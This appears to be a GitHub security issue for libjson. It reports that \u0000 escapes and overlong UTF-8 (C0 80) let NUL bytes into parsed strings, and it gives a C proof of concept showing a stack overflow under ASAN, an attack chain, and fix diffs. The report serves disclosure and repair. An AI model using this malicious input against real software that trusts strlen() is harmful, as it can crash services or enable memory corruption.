Skip to content

NUL byte injection via \u0000 and overlong UTF-8 (C0 80) leads to stack buffer overflow #31

Description

@xinyi234

Summary

libjson accepts NUL bytes (\x00) in parsed JSON string output through two code paths, violating the JSON spec (RFC
8259 §7: strings MUST NOT contain NUL). A downstream caller that trusts strlen() on the parsed data can suffer a
stack buffer overflow, leading to crash or potential code execution.

Affected Code

File Function Line
json.c decode_unicode_char() 482
json.c utf8_header_table 298

Root Cause

Path A — \u0000 direct injection (json.c:482)

decode_unicode_char() writes raw \x00 to the output buffer when handling \u0000:

if (!parser->unicode_multi && uval < 0x80) {
    b[parser->buffer_offset++] = (char) uval;  // uval=0 → writes \x00
    return 0;
}

Path B — Overlong UTF-8 injection (json.c:298)

utf8_header_table marks bytes 0xC0 and 0xC1 as valid 2-byte UTF-8 sequence heads, violating RFC 3629. The
overlong encoding \xC0\x80 (which decodes to NUL) passes all validation, and downstream UTF-8 decoding produces a
raw \x00.

/* c0 */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
//       ↑  ↑  0xC0/0xC1 should be 0xff (illegal)

Additionally, bytes 0xF50xFD are incorrectly marked as valid 3/4/5-byte sequence heads (line 301), exceeding the
RFC 3629 maximum of 0xF4.

Proof of Concept

#include <stdio.h>
#include <string.h>
#include "json.h"

static int  g_len;
static char g_buf[8192];

static int cb(void *u, int t, const char *d, uint32_t l) {
    if (t != JSON_STRING) return 0;
    (void)u; g_len = l; memcpy(g_buf, d, l); g_buf[l] = 0;
    return 0;
}

int main(void) {
    json_parser p;
    json_config c = {0};

    /* PATH A: \u0000 → decode_unicode_char writes raw \x00 */
    char json[8192];
    int n = sprintf(json, "[\"BEFORE\\u0000");
    for (int i = 0; i < 4096; i++) json[n++] = 'A';
    json[n++] = '"'; json[n++] = ']'; json[n] = 0;

    json_parser_init(&p, &c, cb, NULL);
    int ret = json_parser_string(&p, json, n, NULL);
    json_parser_free(&p);

    printf("PATH A (\\u0000): parse=%s ret=%d  strlen=%d  real_len=%d\n",
           ret ? "REJECT" : "ACCEPT", ret,
           (int)strlen(g_buf), g_len);

    /* Simulate a downstream caller that trusts strlen() */
    int safe = (int)strlen(g_buf) + 1;   // = 7 (truncated at NUL)
    char buf[safe];                       // VLA: only 7 bytes on stack
    memcpy(buf, g_buf, g_len);            // writes 4103 bytes → STACK SMASH
    printf("no crash — recompile with -fsanitize=address\n");
    return 0;
}

Compile and run:

gcc -fsanitize=address -g -o poc poc.c json.c && ./poc

ASAN output:

PATH A (\u0000): parse=ACCEPT ret=0  strlen=6  real_len=4103
=================================================================
==170406==ERROR: AddressSanitizer: dynamic-stack-buffer-overflow
WRITE of size 4103 at 0x7ffc9bb07827 thread T0
    #0 __interceptor_memcpy
    #1 main poc.c:81
SUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow

Attack Chain

Malicious JSON input: ["BEFORE\u0000" + 4096*A + "]
       │
       ▼
libjson parses, callback receives "BEFORE\x00AAAA..."
       │  strlen(data) = 6          ← truncated at NUL
       │  callback_length = 4103    ← actual length
       ▼
Downstream code trusts strlen():
  char buf[strlen(data) + 1];       ← allocates only 7 bytes (stack)
  memcpy(buf, data, length);        ← writes 4103 bytes → OVERFLOW
       ▼
Stack buffer overflow → CRASH / potential RCE

Impact

  1. Denial of Service — stack/heap buffer overflow crashes the process
  2. NUL injection bypass — raw \x00 is rejected via character_class (JSON_ERROR_BAD_CHAR), but \u0000 and
    \xC0\x80 are accepted
  3. String truncation bypass — downstream strlen()/strcmp() security checks can be bypassed via NUL truncation
  4. JSON syntax character smuggling\xC0\xA2", \xC1\x9C\ can inject syntax characters via overlong
    encoding

Proposed Fix

Fix 1 — Reject \u0000 output (json.c:482)

 if (!parser->unicode_multi && uval < 0x80) {
+    if (uval == 0) return JSON_ERROR_UTF8;
     b[parser->buffer_offset++] = (char) uval;

Fix 2 — Reject overlong UTF-8 headers (json.c:298)

-/* c0 */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+/* c0 */__,__, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,

Fix 3 — Reject 0xF5–0xFD sequences (json.c:301)

-/* f0 */ 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5,__,__,
+/* f0 */ 3, 3, 3, 3, 3,__,__,__,__,__,__,__,__,__,__,__,

Environment

  • libjson version: latest master
  • OS: Linux (reproduced with GCC + ASAN)

References

  • RFC 8259 §7: JSON strings MUST NOT contain NUL (\x00)
  • RFC 3629 §3: UTF-8 maximum is 4 bytes, overlong sequences MUST be rejected
  • CWE-172: Encoding Error
  • CWE-121: Stack-based Buffer Overflow

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions